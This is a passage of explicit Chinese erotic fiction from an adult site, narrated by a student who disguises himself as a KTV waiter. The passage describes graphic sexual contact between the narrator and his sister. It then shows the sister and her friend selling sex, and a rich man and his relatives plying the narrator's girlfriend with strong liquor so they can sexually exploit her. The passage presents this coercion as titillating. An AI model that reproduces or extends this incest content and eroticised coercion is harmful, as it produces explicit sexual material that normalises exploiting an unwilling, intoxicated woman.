妹妹眯起双眼:「这样说哥哥你即是…没有看过真正女生的那里?」

我整个人怦然一震,你问这些干么,难不成…要便宜我…?

果然翠红提起一只脚,以一个不大优雅的姿态坐在椅上,被掀开一点的浴巾
垂下,刚好遮着那女性神秘部位。

我吞一口唾液,妹妹像诱惑般问:「要看吗?」

口水直接滚进喉咙去了,我不懂回答,只懂点头,翠红满意一笑,慢慢地把
浴巾拨开。

一条全无空隙的裂缝出现,两边没有半条杂毛,也不像AV上看到的鲍鱼黑边,
是一个粉粉嫩嫩的可爱阴户。

看到了!是妹妹的下体。

但翠红知道这还未能满足我的好奇心,继续问我:「要看里面?」

更大量的唾液涌至,又是不懂回答,只懂点头。妹妹把手伸向阴户,食指和
中指往裂缝两边拨开,一股完全呈粉红色的肉壁出现。

屄!是妹妹的屄!

好美,完全是没有污染的器官,漂亮得像生下不久的婴儿肌肤,上帝造人明
显设计失败,最美的器官竟然放在最不常见的地方。

我看得傻了,妹妹笑问:「好看吗?刚刚给别人操过的屄。」

我这次是连反应也不懂给了,只一直注视那诱人肉壁,里面晶莹通透,溢着
花香般的蜜液,妹妹给我看了一会,像小恶魔般问道:「扯了没有?」

我好不容易寻回意识的点头,翠红扬一扬头,命令的说:「给我看。」

我没法反抗,站起来拉下裤链,掏出硬得不行的肉棒。

妹妹满意的说:「咦,龟头都跑出来了,真的很硬呢。」说着又再扬头:
「过来!」

我的心脏一瞬间跳得很快,过去?过去做什么,难道…

但小女王的命令是没人可以违抗,当翠红再一声「我叫你过来!」的时候,
我是如行屍走肉地过去她面前。之后的大家都没再说话,一切很有默契。我来到
她之前,双腿很自然地弯下,让朝天发硬的阴茎,刚好可以对着两片肉唇的位置。

翠红没有动作,拨开小阴唇仍没放开,桃源洞像有一种吸力,要把那胀红的
龟头吸去。还差一里米便碰到的时候,最后的一丝理智唤醒了我,战战兢兢问道:
「这…是乱伦吧?」

妹妹比我俐落,只一声:「管它!」

这句话彷佛给了定案,我很自然地放开手,被强行抑压的肉棒有弹力地拍打
在肉壁上,弄得妹妹轻吟一声:「哎!」

碰到了,整个龟头完全碰在肉壁上,被粉红色的嫩肉包围,甚至可以感受其
体温,两兄妹的性器是没任何阻隔地贴近。

只要轻轻一推,我和翠红便…

我心跳得很利害,我从没想过会和妹妹做这种事,她牢牢望着我,无声地顿
了一会,轻轻说:「你可以插进来,但之后一定要告诉秀真。」

我是完全僵硬了,这一个简直是不可能的任务。

这一呆又是十秒,妹妹用力把我推开,嘟起小嘴道:「哼,哥哥还是比较喜
欢秀真!」

哎,好妹妹,我不是跟你说了,你跟秀真不一样,一个是女友,一个是妹妹。
纵使大家有的器官一样,但本来就是两种不同生物好不好?

翠红不再理我,继续打开风筒吹头发,埋怨道:「惨了,最近经常掉头发,
不知道会不会秃头,看来不能束马尾了。」

『翠红…』望着背向我的妹妹,不知怎的突然一阵心酸,上前从后抱着她的
肩膀:「今晚还是算了,二十万,哥哥拼了命也替你想办法。」

「傻瓜,已经决定了的事怎么要反悔?」妹妹的语气中有一点感激。

「但…」

「事情是我和乐乐搞出来,我们收拾很应该,今次骗秀真帮忙已经很不好,
绝对不能连累她,你要好好保护秀真。」翠红幽幽道:「我只是妹,她才是女友。」

「翠红…」

翠红你弄错了,秀真是我唯一的女友,而你,也是我唯一的妹妹。

说实话我不是太明了妹妹刚才的举动有什么用意,是进刑场前对家人的一种
告别,还是到桑拿浴室前的一种留影。要知道虽然客串过几次,她的小屄仍算紧
致,给八国联军占领一个月,以后大概变成无底洞了。

我不能让这事情发生,今晚就算拼了小命,也一定要每个人都可以平安回来。

在翠红再次上妆的时候,我换过她男友给我准备的侍应服,照照镜子也蛮合
身,但总不会变了另一个人,担心问道:「你说保护秀真,可以躲在哪里?她一
眼便看出是我吧?」

妹妹早有打算道:「你把侍应生的帽子戴好,再戴上眼镜和黐胡须,KTV 的
房间灯光很暗,秀真视力一般,不会看出来的。」

「真的吗?」我仍是怀疑,翠红肯定的道:「她会挑你明显是有眼无珠,跟
瞎子没大分别,一定可以瞒过去。」

我十分不满,说话便说话,干么每句都在人身攻击。

准备就绪,看看钟是下午三点,妹妹拨起电话,乐乐也快到达,告诉她房间
号码,三十分钟后大奶娃便按下门铃。

替舞小姐开门这种事当然由侍应生去做,可当看到眼前女孩我眼前一亮。早
知道妹妹同学是巨乳,也不致这么夸张吧?比翠红更低胸的连身裙,几乎半只奶
露在外面,每一步都像布丁花摇摇晃晃,连粉红色的乳晕也隐约得见,完全就是
把「我在卖肉」四个大字写在头上。

「夭寿了,你穿成这样,去接客吗?」翠红看到好友衣着暴露惊呼道:「也
不盖一件外套。」

乐乐傻更更解释道:「我是故意的,这里大酒店住很多有钱人,说不定有老
伯伯看上,今晚不就可以不用冒那些险?」

我完全明白,原来是直接以胸脯当人肉广告牌,你也真够拼,妹妹问道:
「但不怕父母骂你太暴露吗?」

乐乐摇头:「这条裙是妈妈替我挑的,我说今晚约了有钱人的儿子去唱歌,
她便叫我这样穿了,还说不要戴胸罩,多点替人家向前屈身倒酒。」

我想不到今时今日还有养女廿年、卖到青楼的故事。男人性器官除了生儿育
女便只能作奸犯科,女人的却能招财进宝,你说男女有什么可能平等?

翠红只想讨钱应付眼前危机,乐乐却打算取张长期饭票,不得不佩服其胸怀
大志。我看着那连塞都塞不进胸衣里的大奶,口水流遍一地。妹妹看不过眼的闷
哼一声,我说没法子,十九岁的年纪有奶便是娘,更何况是包不住的大乳房。

乐乐在家里已经装扮好,看到酒店有镜又再打扮一番,谁都知道女人半生活
在白日梦,其余半生活在镜子里。

一个房间两女一男,一个露奶一个露屄,本来也算美不胜收,但我最挂念的
还是秀真,始终她是唯一不知情的一个,也不懂如何防范,于是向两人提议道:
「其实不如把事情告诉秀真,你们感情这样好,她知道你俩有难是一定肯帮忙的。」

翠红和乐乐有口难言的相视一会,结结巴巴说:「哥哥你不了解,女生虽说
感情好,但也不想给好友知道自己倒霉的。」

「你们以为秀真会幸灾乐祸?她是这种人吗?」

乐乐摇头道:「不,我们知道她不会,但女孩子,总想留一点尊严给自己,
不想给朋友知道丑事…」

妹妹也垂头说:「她是不知道我们有…收钱…跟男孩子上床…」

我无奈道:「那事到如今也不是隐瞒的时候了吧?待会那个什么李幄仁要跟
你们玩,还不是会让她知道是金钱交易?」

「不!我们没打算让她知道,只装作一时玩得疯,酒后胡涂的。」

「是这样吗?你们女人觉得一夜情比援交好吗?」

翠红跟乐乐互相看看对方,低头说:「一时胡涂情不自禁还可以原谅,但出
来卖便好像很贱的。」

我闷哼一声:「原来还有羞耻心,那好意思做啊?」

乐乐替自己辩护说:「男人本来就好色,大家五十步笑百步,给你们知道没
关系,但女人不一样,没条件做这种事的女人是很看不起我们的!」

「是吗?我认为做这种事,也会被男人看不起。」我冷冷道,两女鼓起双颊,
再相望一眼,忽然扑上来把我按在地上:「喂,你们干什么?」

「乐乐,脱他的裤!」

「在脱!」

大奶娃强行拉下我的裤链,龟头刚刚碰过小屄,视觉神经又受到大奶刺激,
加上一室女儿香气,肉棒早呈兴奋状态。一根肉棒应声弹出,两女轻蔑指控说:
「扯旗的男人没资格站在道德高地上说三道四!」

「呜…」我惨受屈辱,不敢再吭半句。明白了,有需求才有供应,男人不硬,
女人又如何去卖?总之一日都是我们错。

为自己讨过公道后,我们的话题又回到待会的计划上,结果谈了等于没谈,
是见步行步。

「如果他要就地正法,那怎么办?」翠红惶恐问道。

「那就做罗!」乐乐挺起胸膛,毫无惧色。

「在大家面前吗?」妹妹愈想愈惊。

「有什么关系,又不是什么不能见光的事情!」看来繁殖后代对乐乐来说是
一种光明行为,奶大的女人果然母性特别强。

「但哥哥…」翠红难为情的望向我,她不怕让我知道她去卖,但似乎不想给
我看她生意经营。

「我不会看,万一场面真的变成这样,我会带秀真离开。」我着女孩放心,
两女一同叉起腰肢质问我:「你意思是你带女友先溜,留下我们给色狼奸淫吗?」

喔?有不妥吗?你们不是打算如此?

结果我还是没法说服她们把真相告诉秀真,现在终于明白什么叫「既要当婊
子,又要立牌坊」。

到了五点,妹妹的电话响起,是秀真!

「喂,秀真吗?我还在家,正打算出门,幄仁刚才发短讯给我了,是一流一
大酒店的KTV ,房号六十九,先到先等吧,可以不用吃晚饭,里面有餐饮招待,
那待会见,嗯嗯,拜拜。」

挂线后,翠红神色凝重地跟乐乐点头,你们确定是结拜三小花?怎样看也是
出卖耶稣的犹大。

妹妹的电话响完,轮到女友找我,我着她俩不要做声后接线:「秀真吗?去
到没有?」

「还没,现在才打算出发,你在家里吗?」

「在、在家,翠红刚出门,你们玩开心点。」

「不知道呢,你知道我不大爱唱歌。」

「那试一下嘛,秀真你的声音这么可爱,唱歌一定很动听。」

「才没有,人家歌声很丑的,不过如果德章你也来便好了。」

「我也想,但我跟你们同学不认识,而且你们叙旧,我坐着也无聊。」

「也对,那我们找天自己去玩,对了,今天呢…」

看到我和女友愈说愈长篇,完全没有挂线的打算,翠红作一个剪刀手势,说
一是立刻挂,不然替我挂。

「那先不说了,你快去吧,要大家等不好。」

「也是,那我去了,亲一个,老公。」

「啜~」

收线后,两女作发冷的动作:「好肉麻,还要亲,也不知羞。」

别人说我没所谓,但肯定不是随便跟人吹喇叭,和张腿干屄的你们有资格说
个「羞」字。

女友无辜被拉入淫窟,说不担心是假的,但正如翠红所说,这里是法治地方,
秀真不肯总不会强奸。而且她们的同学今年也是十八岁,嫩青一个,做不出什么
来,反正我会小心行事,有什么风吹草动便立刻带她们离去。

「KTV 六点开始营业,那里是豪华房,规定有两位侍应生和两位点歌员,我
男友替你打点好了,你进去后站在侍应生的位置便可以。」妹妹向我交带道。
「我男友」三个字真是很刺耳,那明明是炮友,连拜托点事也要讨好处。

说来今早他们在房间混了四小时,到底做了多少次?刚才看小屄那么漂亮又
不像受到猛烈摧残,这个问题一定要找机会问清楚。

我们兵分三路,各自从自己路线来到KTV 房间。我一个大学生从没工作经验,
穿上侍应生觉得蛮好看,毕业后也许可以来这里应徵碰碰运气。

「六十九…是这里了!」我找到房号推门进去,不愧是五星酒店的豪华房,
有一个歌唱大厅,排成一圈的真皮沙发,旁边还有一个设有小酒吧的侧厅,比我
家还要大,装修瑭璜,美仑美奂。我见里面空无一人,打开房灯随便坐坐,另一
个穿着同样服饰的高大男生进来大惊:「你怎么坐?不怕被干掉吗?」

对、对了,我现在是侍应生,客人坐我们站,客人拉屎我们抹屁股,是不可
以太舒服的啊。

我慌忙站起,跟他一同站到墙边,他看了我一眼,狐疑问道:「你是谁?以
前没见过。」

「我是新来,叫阿汤,多多指教。」为了不从别人呼唤名字时引起秀真注意,
我胡乱作个假名,那侍应生怀疑道:「新来?今天大老板来玩,找新人接待他?」

「大老板?」我心一惊,虽说这里是男孩父亲经营,总不会叫他大老板吧?
难不成是李氏集团主席,旗下拥有三百间超级市场和两间五星酒店的富商、李昭
仁?

果然几分钟后两个点歌员礼貌周周地领着三个人进房,对,是三个人!

他们一个年纪较大,大约五十来岁,一个看来不到四十,至于最年轻那个不
用说是翠红的旧同学、李幄仁了。

『不是吧,这和计划不一样啊…』我心大惊,还没开始已经乱了阵脚。他们
鱼贯入场,轻松坐在舒适的真皮沙发上。那戴眼睛、头发秃了大半片的中年人向
青年问道:「阿仁,你肯定老爸会满意吗?」

已经确定是李幄仁的男生说:「爸你放心,三个都是上品,其中两个我验过
货,一个大奶娃,奶子又软又弹;另一个是骚包,小屄一摸便流水,十分好操。」

中年人皱起眉头说:「你这兔崽子,要老爸穿你旧鞋吗?」

李幄仁恭敬道:「当然不是,最后一个当年我也搞不定,要爸你亲自出马。」

中年人不相信道:「这世界有钱搞不定的女子?」

「总有些是自命清高,但又怎样,今天还不是自动送上门来张腿给我们操?」
李幄仁说出下流的话,三人一起淫笑,极度猥琐。

不行,他们的目标是锁定秀真,加上情况有变,要立刻中止计划!

我心急如焚,但又不知怎通知妹妹她们,说时迟那时快,大门再次打开,是
乐乐。

「幄仁你到了…咦…是你…们…」

李幄仁一见猎物大喜,立刻站起来招待女孩进房。乐乐看到和说好的不一样
一脸狐疑,也只有进去再算,李幄仁向她介绍道:「这位是家父昭仁,旁边是小
叔须仁。」

「昭仁?是城中富商李昭仁?世伯你好!小妹余敏乐,今年十八岁,是幄仁
的旧同学,34F ,24,34!」

乐乐一听是有钱人,立刻肉紧地自我介绍,领口一拉,两团奶子就要弹出。
看来她遵诚母亲训示,择偶不要看外表,更不要重年纪。

「不错,不错,过来坐吧。」

三个都是色狼,看到那呼之欲出的大奶球脸露淫相,就连我旁边的侍应生也
忍不住赞叹:「靠,真的那么大,给我玩玩便好了。」

我心一阵轻蔑,真是穷心未尽,色心又起,当个侍应生还想玩乳牛,虽然我
也很想当皮球拍就是了。

乐乐喜孜孜地坐在李昭仁和李须仁的中间,巨大肉球一手也握不住,两边一
人一个刚刚好。

几分钟后,妹妹也来了,进房看到比预计多了两个男人,同样脸露惊奇,但
再看乐乐被夹在中间,立刻理解情况,反正出来卖,十八岁这样操,五十岁也是
这样操,也许还更好赚。

「世伯你好,你一定是幄仁的爸爸了,我在报章上看过你的照片。」翠红落
落大方道。我家小妹一向调皮,想不到当起舞小姐也似模似样,应该是天赋才能,
适合作终生职业。

「又是一个美妹子,也过来坐。」老色狼对妹妹也很满意,这时候主角出场
了,只跟我做过五次半、合共被插入不到一千秒的女孩推门而进,是秀真!

「对不起,我迟了,大家都齐了吗?喔…」秀真看到众人登时愕住当场,除
了是多了两个中年人外,翠红和乐乐那好比小姐出台的打扮亦是令她大吃一惊。
一直以为是跟旧同学送别会的她只穿着休闲长裙和球鞋,脸上亦毫无妆粉,跟浓
妆艳抹的两人大相迳庭。

「翠红、乐乐,你们…」

可天生丽质,纵没后天装饰亦是难掩美态,加上一脸清纯,以李家三狼见识
广博,阅人无数,一眼便看出女孩洁净无瑕,新品同样,即时食指大动。

「好!不枉老爹教导多年,果然虎父无犬子,目光独到,全部是一流货色!」
李昭仁玩过的女人数之不尽,看到一个比一个优质的少女亦禁不住大声叫好。秀
真莫名其妙,为免吓跑猎物,李幄仁立刻醒目地向旧同学安抚:「秀真你好,很
久不见,这位是家父,他对这个房间的装修很满意,所有设备都是一流货。」

「哦、哦,你好,幄仁同学…」秀真为人聪慧,立刻看出不妥,但一个是旧
同学,两个是结拜姐妹,虽然觉得奇怪,也上前向旧友问好,李幄仁继续介绍:
「这位是我的小叔须仁,他们说难得大家高兴,一起来揍热闹。」

「两位世伯好,我叫蒋秀真,是幄仁高中时的同班同学。」秀真有礼地向长
辈鞠躬,两头色狼看到女友纯若处子,已经急不及待想要起筷:「世侄女别客气,
叔叔们最爱跟年轻人切磋交流,当作同年纪好了。」

我感到作呕,秀真年方十八,青春无敌,你俩一个秃头、一个大肚皮,哪里
可以当作同年纪?

「谢谢…」秀真甚不自在的拉着翠红窃窃私语,我在这位置听不到她们对话,
但从妹妹不断作「没事」的动作,大慨也是在安抚女友。后来秀真面带无奈地跟
翠红坐在一边,表情尴尬,三个男人中一个本来不很熟,两个完全不认识,不知
道怎样应付也很正常。

「哈哈,交朋结友这种事很简单,喝一杯便很容易熟稔,侍应生,来给大家
倒酒。」李昭仁拍手叫着,我惊觉现在自己就是侍应,立刻跟随身边男孩上前替
大家斟酒。

『拜托,千万不要看出是我…』我手也在震,刻意想避开秀真,但愈是愈想
避便愈避不过。那好色男侍应看准乐乐的大奶,三步作两步的跑到她面前装作倒
酒,实质看奶。我没办法,硬着头皮来到秀真旁边,斟好一杯转头想跑的时候,
女孩抬头跟我说:「对不起,我不喝酒,给我倒杯果汁可以吗?」

我心一惊,应她的话恐怕立刻被认出声音,还好这时候李须仁扬声叫道:
「对不起,这间KTV 是新开张,没有果汁饮料,蒋小姐便将就一下,喝点酒吧。」

「没有果汁,那给我水吧。」秀真再抬起头向我说,李昭仁说道:「唱KTV
喝水有什么意思,给点面子,不会喝也喝一点吧。」

「但…」秀真脸有难色,翠红在她耳边说了两句,应该叫她给世伯面子,女
友无奈点头,几个人一起举杯畅饮:「干杯,谢谢大家给小儿面子,参加他的送
别会!」

一饮而尽的李昭仁看到秀真只轻轻呷一口,指指点点道:「蒋姑娘连一杯也
不肯干掉,也太不给小儿面子了吧?」

「世伯,我真的不会喝…」秀真连忙解释,李须仁扬着酒杯说:「世侄女,
这其实不是酒,是轻饮料,大家只是要点气氛,看,你两个朋友连脸也没红,便
知道不是酒吧?」

秀真望向翠红和乐乐,两人本来就涂得似猴子屁股,加上房间灯光昏暗,哪
知道有没脸红?只是看到大家都喝光,不想得失长辈,只有捏着鼻子一口气倒下。

『秀真…』我看得担心不已,看看酒瓶,分明就是烈酒,还要酒精浓度不轻,
多饮两杯女孩子肯定会醉。

「好!这样才有意思,大家别客气,点歌唱吧,点歌员过来服侍客人们。」
李昭仁拍拍手,两位负责点唱的女生立刻来到大家面前。秀真虽然拘谨,也尽力
溶入其中,跟着翠红和乐乐一人点一首,三位女生一同合唱。

「精彩!再来!」三个色狼醉翁之意不在歌,女孩们每唱完一首便逼饮一杯,
秀真推不过去,只有勉为其难和大家一起喝,三杯到肚,脸色渐红。妹妹想扶她,
也自身难保,拿着米高锋脚步浮浮,快要站不稳。

三位色狼知道时机成熟,脸上的笑容愈来愈奸脸。我看得焦急不已,又苦无
对策。这时候李幄仁来个欲擒先纵,向最花痴的乐乐埋手,减低秀真防范。

「乐乐,跟仁哥合唱一曲好吗?」

乐乐巴不得即晚洞房,明天嫁入豪门,当然立刻说好。在两人合唱时秀真和
翠红总算可以坐在沙发上小休一会,我看到女友快要不支的样子于心不忍,也顾
不了危险,倒两杯热茶给她和妹妹。

「谢谢。」我没做声地把茶送到两人面前的小桌上,秀真说了一声道谢,连
抬头也没气力,勉强拿起喝了几口,热气有助解酒,总算没有醉倒。李昭仁对我
的多管闲事有些不悦,但替客人斟茶递水本来就是侍应生的工作,也没怀疑什么,
只继续默默等待机会。

李幄仁和乐乐唱了一首又一首,女孩陶醉之极,倚偎在男孩肩上,彷佛已经
吃到了钻石男。当然一切都是一厢情愿,一个求色,一个敛财,哪有真心真意可
言?
  

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]